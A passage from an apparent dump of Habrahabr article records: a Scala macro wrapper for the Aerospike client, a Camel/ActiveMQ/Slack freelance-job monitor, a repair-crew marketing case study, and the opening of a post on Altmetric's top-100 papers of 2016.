То же самое касается и языков программирования – я считаю, что надо всегда хорошо ориентироваться как минимум в двух языках, желательно диаметрально противоположных: например Java и Python, или .Net и Erlang. Порой экосистема одного языка или технологии очень сильно ограничивает мышление. | https://habrahabr.ru/post/317730/ |
habrahabr | Работа с Aerospike на scala при помощи магии макросов | ['aerospike', 'macros', 'scala'] |
В нашем отделе бигдаты часть данных хранится в Aerospike. Потребителей довольно много, среди них два приложения, написанных на Scala, взаимодействие с базой в которых будет расширено в связи с... | В нашем отделе бигдаты часть данных хранится в Aerospike. Потребителей довольно много, среди них два приложения, написанных на Scala, взаимодействие с базой в которых будет расширено в связи с постоянно растущими требованиями бизнеса. Единственным приличным драйвером для нас был джавовый клиент, упомянутый на сайте самой базы данных aerospike.com ( http://www.aerospike.com/docs/client/java ). Конвертация скаловых типов данных (а особенно иерархических) в соответствующие аэроспайковские типы приводит к большому количеству бойлерплейта. Чтобы этого избежать, необходим более удобный, а заодно и типобезопасный интерфейс. Инженеры не любят писать много раз один и тот же код и стараются упростить и оптимизировать все повторяющиеся действия. Такие задачи часто решает кодогенерация. Поэтому мы решили написать свою библиотеку для работы с Aerospike, пользуясь макросами . Немного про Aerospike Aerospike — это распределённая schema-less key-value база данных, работающая по принципу хэш-таблицы. Она активно используется в нашем банке для построения распределённых кэшей и для задач, требующих низкого времени отклика. База легко устанавливается и без проблем администрируется, что упрощает её внедрение и поддержку. О модели хранения: параметры namespace и setName связаны с ключами записей, а сами данные хранят в так называемых бинах. Значения могут быть различных типов: Integers, Strings, Bytes, Doubles, Lists, Maps, Sorted Maps, GeoJSON . Интересно, что тип бина не является фиксированным и, записав, скажем, Integer , можно затем перезаписать его на любой другой. Драйверы, написанные для этой базы, обладают изрядным количеством кода для сериализации значений внешней модели во внутреннюю. Про создание DSL Рассмотрим на простых примерах процесс проектирования нашего DSL, почему мы решили использовать макросы, и что из этого всего получилось. В условиях ограниченного времени (взаимодействие с этой базой только малая часть проекта) сложно написать целиком клиент с реализацией протокола. К тому же это потребовало бы больше усилий в поддержке. Поэтому мы остановились на создании обёртки для уже существующего клиента. Рассмотрим на примерах. В качестве базиса использован Aerospike Java Client версии 3.3.1 (его можно найти на сайте www.aerospike.com, исходники есть на Гитхабе ), немалая часть методов в котором оперирует с ключами и бинами из пакета com.aerospike.client . Java Client поддерживает работу с базой как в синхронном, так и в асинхронном режиме. Мы используем асинхронный com.aerospike.client.async.AsyncClient . Самый простой способ его создать: val client = new AsyncClient(new AsyncClientPolicy, hosts.map(new Host(_, port)): _*) где hosts — это List[String] , содержащий хосты вашей базы, а port — порт типа Int (по дефолту 3000). Если при создании клиента передать невалидные значения хостов или неверный порт драйвер выкинет ошибку, потому что при вызове проверяет соединение: scala> new AsyncClient(new AsyncClientPolicy, List().map(new Host(_, port)): _*)
com.aerospike.client.AerospikeException$Connection: Error Code 11: Failed to connect to host(s): Таблица соответствий типов в DSL, Java CLient и базе данных | Scala | Java Client | Aerospike |
|-------------- |-------------- |----------- |
| Int | IntegerValue | Integer |
| Long | LongValue | Integer |
| String | StringValue | String |
| Boolean | BooleanValue | Integer |
| Float | FloatValue | Double |
| Double | DoubleValue | Double |
| Seq | ListValue | List |
| Map | MapValue | Map |
| Char | StringValue | String |
| Short | IntegerValue | Integer |
| Byte | IntegerValue | Integer |
| HList | MapValue | Map |
| case class T | MapValue | Map | Из таблицы видно, что впереди довольно много однотипных преобразований. Писать все это руками каждый раз желания нет. Первая мысль была про рефлекшен, но рантаймовый вариант нас не устраивает — это долго и дорого. Остается вариант с компайл-тайм рефлекшеном, который позволит сгенерировать конвертеры и получать сообщения об ошибках еще на стадии компиляции. В методах интерфейса нашей DSL для любых действий с базой мы будем передавать только конкретные значения ключей и бинов, а все преобразования за нас сделают макросы. Основная идея была в том, чтобы избавиться от бойлерплейта и уберечь пользователя от досконального изучения внутренней структуры данных самого Aerospike. Мы предварительно описали наиболее оптимальный вариант хранения, опираясь на тип переданного для записи значения. Рассмотрим на примере одной из самых распространенных операций с Aerospike — добавления записи с последующим ее чтением по ключу. Будем использовать метод Put . Для начала нам нужны функции преобразования значений определенных типов во внутренние модели драйвера: ключей в com.aerospike.client.Key , а бинов в com.aerospike.client.Bin .
Пусть ключ будет String , а записывать в различных сервисах будем бины типов String, Int, Boolean . Напишем функцию преобразования ключа: import com.aerospike.client.Key
def createStringKey(namespace: String, setName: String, value: String): Key =
new Key(namespace, setName, new StringValue(value)) и бинов соответственно: import com.aerospike.client.Value.{IntegerValue, StringValue, BooleanValue}
def createStringBin(name: String, value: String): Bin = new Bin(name, new StringValue(value))
def createIntBin(name: String, value: Int): Bin = new Bin(name, new IntegerValue(value))
def createBooleanBin(name: String, value: Boolean): Bin = new Bin(name, new BooleanValue(value)) Сигнатура нужного нам метода в библиотеке на java (вариантов несколько, мы берем с наименьшим количеством параметров): public void put(WritePolicy policy, Key key, Bin... bins) throws AerospikeException; Значит, вызовы с использованием этой библиотеки будут выглядеть так: import com.aerospike.client.policy.WritePolicy
client.put(new WritePolicy, createStringKey("namespace", "setName", "keyValue1"),
Seq(createStringBin("binName1", "binValue1"), createStringBin("binName2", "binValue2")): _*)
client.put(new WritePolicy, createStringKey("namespace", "setName", "keyValue2"),
Seq(createIntBin("binName1", 2), createIntBin("binName2", 4)): _*)
client.put(new WritePolicy, createStringKey("namespace", "setName", "keyValue3"),
Seq(createBooleanBin("binName1", true), createBooleanBin("binName2", false)): _*) Не слишком симпатично, правда? Попробуем упростить: def createKey[T](ns: String, sn: String, value: T): Key = {
val key = value match {
case s: String => new StringValue(s)
case i: Int => new IntegerValue(i)
case b: Boolean => new BooleanValue(b)
case _ => throw new Exception("Not implemented")
}
new Key(ns, sn, key)
}
def createBin[T](name: String, value: T): Bin = {
value match {
case s: String => new Bin(name, new StringValue(s))
case i: Int => new Bin(name, new IntegerValue(i))
case b: Boolean => new Bin(name, new BooleanValue(b))
case _ => throw new Exception("Not implemented")
}
}
def putValues[K, B](client: AsyncClient, namespace: String, setName: String,
keyValue: K, bins: Seq[(String, B)])(implicit wPolicy: WritePolicy): Unit = {
client.put(wPolicy, createKey(namespace, setName, keyValue), bins.map(b => createBin(b._1, b._2)): _*)
} Теперь надо избавиться от функций createKey и createBin , добавим магии имплиситов. Нам понадобятся служебные объекты, которые будут на основе типов входных данных генерировать соответствующие модели используемого драйвера: KeyWrapper: [K => Key]
BinWrapper: [B => Bin] Теперь можно собрать всю логику в один метод: case class SingleBin[B](name: String, value: B)
def putValues[K, B](client: AsyncClient, key: K, value: SingleBin[B])(implicit kC: KeyWrapper[K],
bC: BinWrapper[B], wPolicy: WritePolicy): Unit = client.put(wPolicy, kC(key), bC(value)) где WritePolicy — объект контейнер, содержащий различные параметры записи. Мы будем пользоваться дефолтным, создавая его так new WritePolicy . Очевидно, что самым банальным вариантом будет описать создание врапперов всех типов. Но зачем это делать, когда мы знаем, как именно будет создаваться каждый из инстансов? Вот здесь нам пригодятся макросы. Простейший вариант — описать создание того или иного типа конвертера при помощи квазиквот . Начнем с ключей: trait KeyWrapper[KT] {
val namespace: String = ""
val setName: String = ""
def apply(k: KT): Key
def toValue(v: KT): Value = v match {
case b: Int => new IntegerValue(b)
case b: String => new StringValue(b)
case b: Boolean => new BooleanValue(b)
case _ => throw new Exception("not implemented")
}
}
object KeyWrapper {
implicit def materialize[T](implicit dbc: DBCredentials): KeyWrapper[T] = macro impl[T]
def impl[T: c.WeakTypeTag](c: Context)(dbc: c.Expr[DBCredentials]): c.Expr[KeyWrapper[T]] = {
import c.universe._
val tpe = weakTypeOf[T]
val ns = reify(dbc.splice.namespace)
val sn = reify(dbc.splice.setname)
val imports =
q"""
import com.aerospike.client.{Key, Value}
import collection.JavaConversions._
import com.aerospike.client.Value._
import scala.collection.immutable.Seq
import ru.tinkoff.aerospikescala.domain.ByteSegment
import scala.util.{Failure, Success, Try}
"""
c.Expr[KeyWrapper[T]] {
q"""
$imports
new KeyWrapper[$tpe] {
override val namespace = $ns
override val setName = $sn
def apply(k: $tpe): Key = new Key(namespace, setName, toValue(k))
}
"""
}
}
} где DBCredentials содержит namespace и setName. Таким образом мы можем описать метод для сервиса, при компиляции которого будут самостоятельно генерироваться конвертеры. С бинами у нас ситуация несколько сложнее. Необходимо доставать значения, сохраненные в базе, предварительно преобразованные во внутренний формат Aerospike. Для этого воспользуемся самым простым из методов драйвера: public Record get(Policy policy, Key key) throws AerospikeException; где возвращаемое значение: public Record(
Map<String,Object> bins,
int generation,
int expiration
) а необходимые нам данные лежат в Map<String,Object> bins . Тут возникает проблема (см. таблицу соответствий). Так как наша цель — генерировать конвертеры на этапе компиляции и обеспечить на выходе значение типа, идентичного записанному ранее, нам надо предсказать, как именно описать функцию, достающую нужное нам вэлью из базы. Помимо прочего типы, которые мы получаем в bins из пакета java.util — значит, нам пригодятся конвертеры из соответствующих пакетов scala.collection .
Теперь напишем конвертер для бинов: trait BinWrapper[BT] {
import com.aerospike.client.Value._
import com.aerospike.client.{Bin, Record, Value}
import scala.collection.JavaConversions._
import scala.collection.immutable.Map
import scala.reflect.runtime.universe._
type Singleton = SingleBin[BT]
type Out = (Map[String, Option[BT]], Int, Int)
def apply(one: Singleton): Bin = {
if (one.name.length > 14) throw new IllegalArgumentException("Current limit for bean name is 14 characters")
else new Bin(one.name, toValue(one.value))
}
def toValue(v: BT): Value = v match {
case b: Int => new IntegerValue(b)
case b: String => new StringValue(b)
case b: Boolean => new BooleanValue(b)
case _ => throw new Exception("not implemented")
}
def apply(r: Record): Out = {
val outValue: Map[String, Option[BT]] = {
val jMap = r.bins.view collect {
case (name, bt: Any) => name -> fetch(bt)
}
jMap.toMap
}
if (outValue.values.isEmpty && r.bins.nonEmpty) throw new ClassCastException(
s"Failed to cast ${weakTypeOf[BT]}. Please, implement fetch function in BinWrapper")
else (outValue, r.generation, r.expiration)
}
def fetch(any: Any): Option[BT]
} Метод apply принимает в качестве параметра Record — тут обобщить можно всё до момента разбора непосредственно типа значения. Реализацию этого метода проще написать на макросах: object BinWrapper {
implicit def materialize[T]: BinWrapper[T] = macro materializeImpl[T]
def materializeImpl[T: c.WeakTypeTag](c: blackbox.Context): c.Expr[BinWrapper[T]] = {
import c.universe._
val tpe = weakTypeOf[T]
val singleton = weakTypeOf[SingleBin[T]]
val out = weakTypeOf[(Map[String, Option[T]], Int, Int)]
val tpeSt = q"${tpe.toString}"
val fetchValue = tpe match {
case t if t =:= weakTypeOf[String] => q"""override def fetch(any: Any): Option[$tpe] = any match {
case v: String => Option(v)
case oth => scala.util.Try(oth.toString).toOption
} """
case t if t =:= weakTypeOf[Boolean] => q"""override def fetch(any: Any): Option[$tpe] = any match {
case v: java.lang.Long => Option(v == 1)
case _ => None
} """
case t if t =:= weakTypeOf[Int] => q"""override def fetch(any: Any): Option[$tpe] = any match {
case v: java.lang.Long => Option(v.toInt)
case oth => scala.util.Try(oth.toString.toInt).toOption
} """
case t if t.toString.contains("HNil") || t.toString.contains("HList") =>
q"""override def fetch(any: Any): Option[$tpe] = any match {
case m: java.util.HashMap[Any, Any] =>
val newList = castHListElements(m.asScala.values.toList, $tpeSt)
newList.toHList[$tpe]
case oth => None
} """
case _ => q""""""
}
val imports =
q"""
import java.util.{List => JList, Map => JMap}
import com.aerospike.client.{Bin, Record, Value}
import com.aerospike.client.Value.{BlobValue, ListValue, MapValue, ValueArray}
import scala.collection.JavaConversions._
import scala.collection.JavaConverters._
import shapeless.{HList, _}
import shapeless.HList.hlistOps
import syntax.std.traversable._
....
"""
c.Expr[BinWrapper[T]] {
q"""
$imports
new BinWrapper[$tpe] {
override def apply(one: $singleton): Bin = {
if (one.name.length > 14) throw new IllegalArgumentException("Current limit for bean name is 14 characters")
else new Bin(one.name, toValue(one.value))
}
override def apply(r: Record): $out = {
val outValue: Map[String, Option[$tpe]] = {
val jMap = r.bins.view collect {
case (name, bt: Any) =>
val res = fetch(bt)
if (res.isEmpty && r.bins.nonEmpty) throwClassCast($tpeSt) else name -> res
}
jMap.toMap
}
(outValue, r.generation, r.expiration)
}
$fetchValue
}
"""
}
}
} Макросы сделали за нас всю работу — инстансы всех требуемых конвертеров будут генерироваться самостоятельно, вызовы методов будут содержать только сами значения ключей и бинов. С Quasiquotes работать легко: поведение предсказуемое, подводных камней нет. Важно помнить, что при использовании такого подхода все библиотеки, которые нужны в описанных в Quasiquotes методах, должны быть импортированы в файл, где используется макрос. Поэтому я сразу добавила параметр imports в обоих конвертерах, чтобы не копировать множество библиотек в каждом файле. Теперь у нас есть всё, чтобы написать сервис-обертку: class SpikeImpl(client: IAsyncClient) {
def putValue[K, B](key: K, value: SingleBin[B])(implicit kC: KeyWrapper[K], bC: BinWrapper[B]): Unit = {
val wPolicy = new WritePolicy
client.put(wPolicy, kC(key), bC(value))
}
def getByKey[K, B](k: K)(implicit kC: KeyWrapper[K], bC: BinWrapper[B]): Option[B] = {
val policy = new Policy
val record = client.get(policy, kC(k))
bC.apply(record)._1.headOption.flatMap(_._2)
}
} Теперь можно проверить работу нашего сервиса: import shapeless.{HList, _}
import shapeless.HList.hlistOps
import scala.reflect.macros.blackbox._
import scala.language.experimental.macros
object HelloAerospike extends App {
val client = new AsyncClient(new AsyncClientPolicy, hosts.map(new Host(_, port)): _*)
val database = new SpikeImpl(client)
implicit val dbc = DBCredentials("namespace", "setName")
database.putValue("key", SingleBin("binName", 123 :: "strValue" :: true :: HNil))
val hlistBin = database.getByKey[String, Int :: String :: Boolean :: HNil]("key")
.getOrElse(throw new Exception("Failed to get bin value"))
println("hlistBin value = " + hlistBin)
} Запускаем и заходим в базу: Mac-mini-administrator-5:~ MarinaSigaeva$ ssh user@host
user@host's password:
Last login: Wed Nov 23 19:41:56 2016 from 1.1.1.1
[user@host ~]$ aql
Aerospike Query Client
Version 3.9.1.2
Copyright 2012-2016 Aerospike. All rights reserved.
aql> select * from namespace.setName
+------------------------------------------+
| binName |
+------------------------------------------+
| MAP('{"0":123, "1":"strValue", "2":1}') |
+------------------------------------------+
1 row in set (0.049 secs)
aql> Данные записаны. Теперь посмотрим, что приложение вывело в консоль: [info] Compiling 1 Scala source to /Users/Marina/Desktop/forks/playground/target/scala-2.11/classes...
[info] Running HelloAerospike
hlistBin value = 123 :: strValue :: true :: HNil
[success] Total time: 0 s, completed 23.11.2016 20:01:44 Для scala разработчиков решение может быть более понятным интуитивно, чем java библиотека. Код текущего DSL выложен на Гитхабе с подробным описанием how to и кукбуком , который будет дополняться. В свете последних событий ( scala 2.12 released ) появилась задача для интересных экспериментов со scala-meta . Надеюсь этот опыт будет вам полезен в решении подобных задач. | https://habrahabr.ru/company/tcsbank/blog/317742/ |
habrahabr | Мониторим фриланс площадки в slack | ['freelance', 'Slack', 'java', 'Apache Camel', 'Apache ActiveMQ'] | В этой статье мы бы хотели рассказать о нашей новой платформе Job Freelance Scanner, которая находится в свободном доступе. В поисках нового проекта порой приходится мониторить фриланс площадки на... | В этой статье мы бы хотели рассказать о нашей новой платформе Job Freelance Scanner, которая находится в свободном доступе. В поисках нового проекта порой приходится мониторить фриланс площадки на наличие подходящего предложения. Это порождает ряд проблем: поиск по разным сайтам, вбивание в поиске нужных ключевых слов, отсеивание дубликатов — все это отнимает время. Плюс, надо помнить читал ли ты это предложение. Вот было бы удобно мониторить это одним инструментом, при этом в онлайн режиме.
Наша компания занимается разработкой интеграционных решений и регулярно нуждается в поиске предложений в этой области. Таким образом, сформировалась задача: разработать платформу для мониторинга предложений о работе с крупных площадок. Платформа должна отслеживать предложения, содержащие некоторые ключевые слова, и публиковать их в slack канале.
После реализации приложения и локального запуска мы решили опубликовать его для сообщества, предоставить свободный доступ для использования, а также опубликовать исходники. В итоге, мы представляем платформу Job Freelance Scanner. Возможности
Job Freelance Scanner — платформа для мониторинга предложений с крупных глобальных площадок по поиску работы, разработанная компанией Leadex Systems. Эта платформа позволяет получать предложения единым потоком в канал связи (Slack) от таких площадок как: Upwork.com
Freelancer.com
Guru.com
Сообщение о новом предложении о работе поступают в кратчайшие сроки после публикации, что позволяет осуществлять мониторинг свежих предложений и откликаться на них одним из первых. Пример сообщения с предложением о работе в канале slack: Настройка
Для начала использования платформы необходимо: пройти по ссылке jobfreelancescanner.com ;
авторизоваться через аккаунт Google или LinkedIn;
ввести поисковые запросы (ключевые слова), по которым будет осуществляться мониторинг предложений о работе с соответствующего сайта;
на соседней вкладке изменить настройки slack нотификации;
готово. В указанный канал slack начинают падать предложения.
Архитектура
Для решения поставленной задачи была разработана следующая архитектура: через определенный промежуток времени ищутся по ключевым словам предложения о работе с нужных площадок с помощью их внутреннего API. Отсеиваются уже опубликованные и рассылаются подписанным клиентам. Легенда:
Как видно из схемы, проект состоит из нескольких независимых модулей. Для общения между модулями приложения используется Apache ActiveMQ в качестве брокера сообщений и MongoDB для хранения настроек клиентов. Для интеграции модулей нашего решения используется Apache Camel. Пример интеграции Slack и ActiveMQ с помощью Apache Camel
Рассмотрим подробней модуль, который конвертирует предложения о работе в сообщение для Slack и отправляет их с помощью интеграции slack компонента от Apache Camel. В основе этого компонента лежит роут описанный на Java DSL. from("activemq:queue://" + activemqQueue +
"?username=" + activemqUser +
"&password=" + activemqPass +
"&disableReplyTo=true")
.process(jsonToPojoProcessor)
.process(aggregateJobProcessor)
.split(body())
.process(jobToSlackMessageProcessor)
.to("direct:slackOutput");
from("direct:slackOutput")
.recipientList(simple("slack:#${header.uri}"));
Роут — это описание маршрута передачи сообщений. Характеристиками такого роута являются начальная точка, обозначенная токеном from (в нашем случае это компонент для ActiveMQ) и конечная точка, обозначенная токеном to (компонент для Slack). Apache Camel предоставляет различные компоненты для интеграции (смотри полный список тут camel.apache.org/components).
Настройка компонента activemq задается с помощью URI строки. В нашем случае эта строка составляется при помощи вставки параметров, заданных через файл настроек. Рассмотрим пример полученной URI строки. from("activemq:queue://slackNotify?username=admin&password=admin")
Это описание входной точки с помощью сгенерированной строки URI. Где activemq — название компонента, а queue — тип канала сообщений, который может быть или очередью (queue), или темой (topic). Далее идёт название канала — slackNotify. Последняя часть URI — параметры конечной точки: username/password — логин и пароль пользователя.
Затем идут несколько конвертеров и сплиттер: jsonToPojoProcessor — преобразование входного сообщения JSON формата во внутреннюю модель данных Notification (модель содержит список предложений о работе и настройки для slack). Для конвертации используется библиотека Google Gson, позволяющая конвертировать JSON в Java объект и наоборот.
aggregateJobProcessor — конвертирование из модели данных Notification в массив предложений о работе. Также записываются настройки канала slack в заголовок.
split(body()) — разделяет входной массив предложений о работе в самостоятельные потоки.
jobToSlackMessageProcessor — конвертирует предложение о работе в сообщение для slack канала.
Для интеграции со Slack также используется компонент от Apache Camel. Но возникает проблема: настройки слэк канала нам заранее неизвестны. Узнать их мы можем только из входящего сообщения. Конвертер aggregateJobProcessor формирует часть URI строки с настройками канала и записывает ее в заголовок для того, чтобы затем можно было создать динамический маршрут ( Dynamic Router ) from("direct:slackOutput")
.recipientList(simple("slack:#${header.uri}"));
Особенность этого маршрута заключается в том, что в нем динамически выбирается конечная точка, а конкретно компонент slack с настройками канала в который будут отправляться сообщения. Для построения маршрута используются данные из самого сообщения (его заголовка), которые достаются с помощью SEL (Simple Expression Language) и выполняются с помощью функции simple(). Шаблон EIP — The Recipient List (Список получателей) позволяет создавать динамические конечные точки. Заключение
Пример интеграции продемонстрировал простоту и удобство использования Apache Camel. Мы надеемся, что платформа Job Freelance Scanner будет для кого-то полезной. Также в будущем мы планируем развивать нашу платформу, например добавить Email нотификацию и улучшить UI. Ссылки:
→ Ссылка для использования: jobfreelancescanner.com/
→ Ссылка на github: github.com/leadex/job-monitor | https://habrahabr.ru/post/317752/ |
habrahabr | О превращении воронки продаж в колодец на примере сайта ремонтной бригады | ['воронка продаж', 'воронка продаж аналитика', 'конверсия', 'конверсия сайтов', 'интернет-аналитика', 'строительная бригада'] |
Топ 10 поисковиков не резиновый и цена попадания туда все выше и выше. Повышение расходов на привлечение клиента сводят доходы бизнеса к нулю. Бесконечная конкуренция — это экономический тупик и... |
Топ 10 поисковиков не резиновый и цена попадания туда все выше и выше. Повышение расходов на привлечение клиента сводят доходы бизнеса к нулю. Бесконечная конкуренция — это экономический тупик и вымирание бизнеса. Это статья-кейс о работе над сайтом московской бригады ремонтников, поиске ниши, снижающей конкуренцию, и превращении воронки продаж в колодец. Читайте и применяйте в своих проектах! О клиенте
Бригада Космо-Ремонт — небольшая стабильная команда специалистов строительной отрасли, которая предоставляет услуги ремонта квартир и домов в Москве и области. Отличается приемлемым качеством работ, работой в нижнем ценовом диапазоне и достаточно простыми ремонтами. Да они не предлагают свои дизайнерские решения, надо подробно проговаривать, что в итоге должно получиться и их надо периодически навещать и контролировать правильность направления ремонта, но зато это точно самое дешевое решение на рынке. И у них есть серьезный плюс, экономящий время заказчика — своя машина для доставки. Так что не надо ездить с ними по рынкам за расходными материалами.
Сайт отсутствовал. Были самостоятельные попытки рекламироваться в сети — объявления на Авито. Но отклик был незначительный и только мелкие заказы (до 7000 р), ради которых уже было невыгодно ехать даже в соседний район. Задачи, которые поставил клиент
В начале работы количество заказов из интернета было близко к нулю. Компания жила только за счет постоянных клиентов и их рекомендаций. Необходим стабильный небольшой поток заказов с небольшими всплесками, которые будут загружать бригаду в момент окончания очередного ремонта. Вот с такими условиями агентство IKS Digital и начало свою работу с заказчиком. Сайт Kosmo-Remont.ru до и после
Для представительства в сети был создан лендинг на CMS WordPress. Бюджет был скромный и сайт ему соответствовал. О продвижении изначально речи не было. На сайте было минимум контента и отсутствовала возможность расширять количество страницы. Прежде чем двигаться дальше, следовало выполнить несколько первоочередных технических задач: Провести техническую оптимизацию сайта и создать необходимые служебные файлы
Наполнить сайт контентом, вызывающим доверие посетителей (портфолио, гарантии, о компании и прочее)
Создать блог — для последующего размещения SEO-статей
Установить всевозможные дополнительные плагины.
В ходе работ над сайтом его наполнение было полностью переработано. Стоит понимать, что только техническими изменениями сложно добиться хорошей эффективности — таких сайтов в сети много. Поэтому к изменению сайта, как и к его продвижению, был реализован клиентоориентированный подход: Добавление реалистичных отзывов, с описанием ключевых выгод работы с бригадой.
Добавление галереи и фото на сайт.
Дополнительные форм обратной связи и контактного телефона в разных частях сайта и блоге.
Фокусировка внимания посетителя на ключевых преимуществах (ценах и т.п.).
Новые блоки с ответами на вопросы посетителей (гарантии, цены, качество, примеры). Схема проста: понял, что волнует посетителя — нашел ответ — дал на сайте.
В контексте данной статьи мы не будем углубляться в особенности создания посадочных страниц — такой теме в пору отвести отдельную публикацию. При этом следует понимать, что создавать рекламную кампанию или реализовать SEO продвижение сайта, который недостаточно эффективен — пустая трата времени и ресурсов. Изучение целевой аудитории и ее “хотелок” — основа для апгрейда сайта. Общение с клиентом
Общение с клиентом — важнейшая вещь в работе интернет агентства. Понять, чего же на самом деле хочет заказчик клиента, из слов самого клиента — это практически искусство, которым так любят пренебрегать начинающие раскрутчики. Клиент знает, что хочет прибыли, но над тем, чего хотят его клиенты он не особо думает. Вся сложность контакта с заказчиком заключается в том, чтобы построить канал связи, и получать от него достоверные и актуальные данные о всем, что может понадобиться в ходе продвижения. Порой просто надо просить заказчика пересказывать их разговоры с клиентом или, если позволяют бюджет и бизнес процессы, поставить ip телефонию и слушать переговоры. Только так можно узнать боль клиентов заказчика и через ее устранение сконвертить их на сайте. Распределение бюджета продвижения
При комплексном продвижении мы делаем упор на основные три составляющие продвижения: контекстная реклама, SEO оптимизация и доработки сайта для технической оптимизации и улучшения юзабилити. Сначала распределяем бюджет в примерно равных долях.
SEO оптимизация начинает приносить плоды только на 3-4 месяц, а к этому времени бизнес может умереть и мы потеряем клиента. Для заказов на начальном этапе используется контекстная реклама. По нашему опыту, если в нише достаточно трафика и клиенту не нужно много заказов, то лучше брать только самые продающие запросы. Также в начале продвижения важно привести технические характеристики сайта в порядок, сделать нужные служебные файлы для поисковиков. После появления контекстного трафика на сайте начинаем следить за посетителями через Вебвизор. Смотрим по какому запросу зашли и что им не хватало на сайте. Стараемся ответить на все наиболее вероятные вопросы посетителей на странице входа, т.е. формируем посадочную страницу. Формирование посадочных страниц зачастую требует привлечения программистов для вставки и переделки блоков. Благо программисты у нас есть в штате и входят в стоимость комплексного продвижения. Это избавляет клиента от поиска дополнительных специалистов.
Постепенно мы уменьшаем долю дорогого контекстного трафика и количество доработок сайта. Весь упор теперь делается на SEO оптимизацию, что в стратегическом и экономическом плане правильно.
Трафик важно привлечь и привлечь тематический. Когда все настроено хорошо, стоимость посетителя уже не уменьшишь. Далее вступает в работу конверсия сайта. Она в среднем может быть от 0-10%. Это огромная ниша для удешевления стоимости лида. Работа над всеми двумя этапами воронки продаж (трафик и конверсия сайта), на которые агентство может оказать влияние, и дает эффект синергии.
Все это позволяет агентству IKS Digital обеспечить рост количества посещений и падение стоимости лида. Нишевание
Компания бралась за все типы ремонта квартир и пыталась «объять необъятное». По мнению бригадира упор надо было делать на косметический ремонт. Мы сделали контекстную рекламу по косметическому ремонту. Пошли звонки, но хотели одну мелочевку, типа подклеить обои и подкрасить. А затраты на привлечение клиента были не меньше средних по нише ремонта. Косметический ремонт вообще не окупался.
Что делать? Цена лида в строительно-ремонтной нише высока. Единственное, что ее может покрыть — это крупный заказ, т.е. комплексный ремонт квартиры. В «народе» такой ремонт называют и ремонт квартиры, и косметический ремонт, и капитальный ремонт. В комплексном ремонте квартир тоже есть ниши: дорогой ремонт, средней цены, ремонт с минимальным участием заказчика в контроле и закупках и, наконец, простой и самый недорогой.
Специализация нашего клиента — простой и самый недорогой. И даже в этой нише можно найти поднишу. Когда делается ремонт для себя, люди стараются в основном работать с ремонтниками, которые уже что-то делали их знакомым. Но для ремонта под сдачу в аренду, люди уже так сильно не переживают при принятии решения, их больше волнует цена. И о чудо, в этой нише у нас уже гораздо меньше конкуренции, чем просто в ремонте квартир. Ниша найдена. Да, трафика в ней меньше, но нам много и не надо. Теперь привлекаем только трафик из этой ниши и специализируем сайт под максимальную конвертацию такого трафика.
Нишеванием по ключевым приемуществам клиента мы достигаем повышения конверсии на сайте. Это важно сделать в начале. Этому помогает тестирование ниш контекстной рекламой. А вот уже после нащупывания ниши надо заниматься SEO оптимизацией под нее. У нас бывали и ошибки с выбором ниши, переиндексация сайта наказывала нас ожиданием в несколько месяцев. Но кто не ошибается, тот не имеет опыта. Воронку в колодец
Воронка — это потеря людей на этапе привлечения трафика и его конвертации на сайте. В идеале надо привлекать только тех, кому нужен твой продукт и убеждать их на сайте, что дальше искать нет смысла — может вы и не лучше других, но точно не хуже. У каждой компании есть ниша в которой она меньше конкурирует с остальными. Это бывает география — всегда больше доверия и удобства общения с соседями, чем компаниями с другого конца большого города. Бывает цена/качество — нет смысла тратить время на рассмотрение ненужных тебе соотношений. Бывает время на получение услуги. Конкуренция со всеми — это тупик. Выдели лучшее и самое маржинальное, упрись в это направление. Не стоит бояться потерять другие направления. Если у вас будут заказы, вы и их постепенно подтяните.
В самом элементарном понимании первым инструментом снижения конкуренции являются ключевые слова, которые вы используете при продвижении. Очистить трафик под свою ключевую нишу не всегда получается идеально, но сделав это и причесав под нее сайт, поднять конверсию сайта в разы вполне возможно. Алгоритм эффективного продвижения
Еще раз повторим весь путь, который необходимо пройти каждому сайту: Анализ компании заказчика, ее “хотелок” и возможностей.
Анализ сайта (иногда проще сделать новый, чем апгрейдить старый).
Анализ маржинальности ниш, которые может освоить компания.
Работа с поиском ниши, которая будет лучшей по соотношению частота/конкуренция.
Поиск трафика по нишу и настройка контекста и SEO
Работа с конверсией сайта. Заточка сайта под нишу.
Profit!
Итог
Результаты работы по сайту бригады Космо-Ремонт не удивляют огромным количеством трафика, запредельной конверсией или копеечными лидами, но мы достигли главного — обеспечили заказчику стабильный приток клиентов исходя из его возможностей, потребностей и бюджета. Постоянный небольшой рост только способствует развитию сайта и компании в целом.
Что касается технологий и алгоритмов работы с воронкой продаж, то здесь главное не пытаться «объять необъятное», а найти свою, максимально комфортную нишу с приемлемой маржой.
О живом примере такого поиска вы и прочитали в этой статье. Если ваш продукт или услуга действительно хороши, то клиенты у вас будут — стоит только отойти от идеи конкуренции все со всеми и занять свою небольшую нишу, которая позволит развивать в дальнейшем и другие направления. | https://habrahabr.ru/post/317754/ |
habrahabr | Опубликован топ-100 самых громких научных работ 2016 года | ['наука', 'массовая культура', 'научные исследования', 'свободная наука', 'peer-review. препринт', 'гравитационные волны', 'физика', 'итоги года'] |
Третье место в рейтинге топ-100 самых громких научных работ 2016 года заняла работа с результатами наблюдения гравитационных волн. Научные работы по физике очень редко привлекают внимание СМИ,... | Третье место в рейтинге топ-100 самых громких научных работ 2016 года заняла работа с результатами наблюдения гравитационных волн. Научные работы по физике очень редко привлекают внимание СМИ, выход на 3-е место по цитируемости — редчайшее событие. А ведь четвёртое место заняла ещё одна работа по астрофизике со свидетельствами существования Нибиру девятой планеты Солнечной системы. Так что этот год был по-настоящему уникальным для физики
Каждый год британская компания Altmetric составляет рейтинг Altmetric Top 100 со списком научных работ, которые получили наибольшее внимание публики в этом году. Компания отслеживает количество новостных статей, в которых цитируется научная работа, эхо в социальных сетях, количество упоминаний в Википедии, StackOverflow, Faculty1000 и некоторые другие параметры с определённым весом каждого . Топ-100 по итогам 2016 года получился очень необычным.
Самое удивительное в этом рейтинге — кто занял первое место. Это научная работа , опубликованная в Журнале Американской медицинской ассоциации (JAMA), у которой единственный автор: Барак Обама.
